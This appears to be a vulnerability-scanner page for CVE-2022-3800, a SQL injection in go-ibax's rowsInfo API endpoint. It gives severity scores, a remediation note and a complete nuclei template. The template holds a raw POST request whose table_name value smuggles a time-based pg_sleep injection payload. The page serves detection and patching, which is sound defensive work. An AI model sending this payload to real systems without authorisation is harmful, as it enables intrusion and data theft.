IBAX - SQL Injection

highseverity

8.8CVSS score

3.1%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

IBAX go-ibax functionality is susceptible to SQL injection via the file /api/v2/open/rowsInfo. The manipulation of the argument table_name leads to SQL injection, and the attack may be launched remotely. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.

Fix

To remediate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being used in SQL queries. Implement parameterized queries or use an ORM framework to prevent SQL injection attacks.

How to confirm it

Send: @timeout: 15s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "application/json") and contains(body, "usesysid")

Run it with nuclei: nuclei -id CVE-2022-3800 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-3800

info:
  name: IBAX - SQL Injection
  author: JC175
  severity: high
  description: |
    IBAX go-ibax functionality is susceptible to SQL injection via the file /api/v2/open/rowsInfo. The manipulation of the argument table_name leads to SQL injection, and the attack may be launched remotely. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    To remediate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being used in SQL queries. Implement parameterized queries or use an ORM framework to prevent SQL injection attacks.
  reference:
    - https://github.com/IBAX-io/go-ibax/issues/2061
    - https://vuldb.com/?id.212636
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3800
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-3800
    cwe-id: CWE-707,CWE-89
    epss-score: 0.03146
    epss-percentile: 0.88032
    cpe: cpe:2.3:a:ibax:go-ibax:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ibax
    product: go-ibax
  tags: time-based-sqli,cve2022,cve,ibax,go-ibax,sqli,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /api/v2/open/rowsInfo HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        order=1&table_name=pg_user"%3b+select+pg_sleep(6)%3b+--"&limit=1&page=1

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "usesysid")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from